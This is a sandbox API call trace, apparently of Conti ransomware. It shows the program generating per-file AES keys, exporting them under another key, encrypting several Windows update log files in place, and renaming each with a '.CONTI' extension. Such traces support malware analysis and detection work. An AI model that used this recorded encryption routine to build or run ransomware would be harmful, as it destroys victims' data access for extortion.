	[0129.179] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2000, lpOverlapped=0x0) returned 1
	[0129.180] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2010) returned 1
	[0129.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.180] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2010, lpOverlapped=0x0) returned 1
	[0129.180] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.180] WriteFile (in: hFile=0x378, lpBuffer=0x6b47518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b47518*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.180] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.180] CloseHandle (hObject=0x378) returned 1
	[0129.180] GetProcessHeap () returned 0x1720000
	[0129.180] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.180] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl"
	[0129.180] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl.CONTI"
	[0129.180] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.028.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.028.etl.conti")) returned 1
	[0129.181] GetProcessHeap () returned 0x1720000
	[0129.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.181] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0129.181] GetProcessHeap () returned 0x1720000
	[0129.181] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c027d8 | out: hHeap=0x1720000) returned 1
	[0129.181] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.181] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47768 | out: phKey=0x6b47768*=0x17c8130) returned 1
	[0129.181] CryptExportKey (in: hKey=0x17c8130, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4776c, pdwDataLen=0x50ff91c | out: pbData=0x6b4776c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.182] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.029.etl")) returned 0x2020
	[0129.182] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.029.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.182] GetLastError () returned 0x0
	[0129.182] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=12288) returned 1
	[0129.182] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3000
	[0129.182] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.182] SetEndOfFile (hFile=0x378) returned 1
	[0129.183] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.183] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.183] WriteFile (in: hFile=0x378, lpBuffer=0x6b4776c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4776c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.184] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.184] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x3000, lpOverlapped=0x0) returned 1
	[0129.185] CryptEncrypt (in: hKey=0x17c8130, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x3000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x3010) returned 1
	[0129.185] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.185] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x3010, lpOverlapped=0x0) returned 1
	[0129.185] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.185] WriteFile (in: hFile=0x378, lpBuffer=0x6b47760*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b47760*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.185] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.185] CloseHandle (hObject=0x378) returned 1
	[0129.185] GetProcessHeap () returned 0x1720000
	[0129.185] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.185] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl"
	[0129.185] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl.CONTI"
	[0129.185] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.029.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.029.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.029.etl.conti")) returned 1
	[0129.186] GetProcessHeap () returned 0x1720000
	[0129.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.186] CryptDestroyKey (hKey=0x17c8130) returned 1
	[0129.186] GetProcessHeap () returned 0x1720000
	[0129.186] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02598 | out: hHeap=0x1720000) returned 1
	[0129.186] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.186] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b452e8 | out: phKey=0x6b452e8*=0x17c8430) returned 1
	[0129.186] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b452ec, pdwDataLen=0x50ff91c | out: pbData=0x6b452ec*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.187] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.030.etl")) returned 0x2020
	[0129.187] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.030.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.187] GetLastError () returned 0x0
	[0129.187] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=8192) returned 1
	[0129.187] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.187] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.187] SetEndOfFile (hFile=0x378) returned 1
	[0129.188] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.188] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.188] WriteFile (in: hFile=0x378, lpBuffer=0x6b452ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b452ec*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.189] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.189] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2000, lpOverlapped=0x0) returned 1
	[0129.189] CryptEncrypt (in: hKey=0x17c8430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2010) returned 1
	[0129.189] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.189] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2010, lpOverlapped=0x0) returned 1
	[0129.189] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.190] WriteFile (in: hFile=0x378, lpBuffer=0x6b452e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b452e0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.190] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.190] CloseHandle (hObject=0x378) returned 1
	[0129.190] GetProcessHeap () returned 0x1720000
	[0129.190] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.190] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl"
	[0129.190] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl.CONTI"
	[0129.190] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.030.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.030.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.030.etl.conti")) returned 1
	[0129.190] GetProcessHeap () returned 0x1720000
	[0129.190] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.190] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0129.190] GetProcessHeap () returned 0x1720000
	[0129.191] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02628 | out: hHeap=0x1720000) returned 1
	[0129.191] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.191] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b48518 | out: phKey=0x6b48518*=0x17c82b0) returned 1
	[0129.191] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4851c, pdwDataLen=0x50ff91c | out: pbData=0x6b4851c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.191] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.031.etl")) returned 0x2020
	[0129.191] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.031.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.192] GetLastError () returned 0x0
	[0129.192] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=8192) returned 1
	[0129.192] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.192] SetEndOfFile (hFile=0x378) returned 1
	[0129.192] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.192] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.192] WriteFile (in: hFile=0x378, lpBuffer=0x6b4851c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4851c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.193] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.193] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2000, lpOverlapped=0x0) returned 1
	[0129.194] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2010) returned 1
	[0129.194] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.194] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2010, lpOverlapped=0x0) returned 1
	[0129.194] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.194] WriteFile (in: hFile=0x378, lpBuffer=0x6b48510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b48510*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.194] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.194] CloseHandle (hObject=0x378) returned 1
	[0129.194] GetProcessHeap () returned 0x1720000
	[0129.194] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0129.194] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl"
	[0129.194] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl.CONTI"
	[0129.195] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.031.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.031.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.031.etl.conti")) returned 1
	[0129.195] GetProcessHeap () returned 0x1720000
	[0129.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0129.195] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0129.195] GetProcessHeap () returned 0x1720000
	[0129.195] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c026b8 | out: hHeap=0x1720000) returned 1
	[0129.195] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.195] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b44c10 | out: phKey=0x6b44c10*=0x17c8570) returned 1
	[0129.195] CryptExportKey (in: hKey=0x17c8570, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44c14, pdwDataLen=0x50ff91c | out: pbData=0x6b44c14*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.196] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.032.etl")) returned 0x2020
	[0129.196] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.032.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.196] GetLastError () returned 0x0
	[0129.196] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=8192) returned 1
	[0129.196] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.197] SetEndOfFile (hFile=0x378) returned 1
	[0129.197] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.197] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.197] WriteFile (in: hFile=0x378, lpBuffer=0x6b44c14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b44c14*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.198] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.198] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x2000, lpOverlapped=0x0) returned 1
	[0129.199] CryptEncrypt (in: hKey=0x17c8570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x2010) returned 1
	[0129.199] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.199] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x2010, lpOverlapped=0x0) returned 1
	[0129.199] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.199] WriteFile (in: hFile=0x378, lpBuffer=0x6b44c08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b44c08*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.199] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.199] CloseHandle (hObject=0x378) returned 1
	[0129.199] GetProcessHeap () returned 0x1720000
	[0129.199] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0129.199] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl"
	[0129.199] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl.CONTI"
	[0129.199] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.032.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.032.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.032.etl.conti")) returned 1
	[0129.200] GetProcessHeap () returned 0x1720000
	[0129.200] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0129.200] CryptDestroyKey (hKey=0x17c8570) returned 1
	[0129.200] GetProcessHeap () returned 0x1720000
	[0129.201] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c023e8 | out: hHeap=0x1720000) returned 1
	[0129.201] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.201] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b479b0 | out: phKey=0x6b479b0*=0x17c81f0) returned 1
	[0129.201] CryptExportKey (in: hKey=0x17c81f0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b479b4, pdwDataLen=0x50ff91c | out: pbData=0x6b479b4*, pdwDataLen=0x50ff91c*=0x20c) returned 1
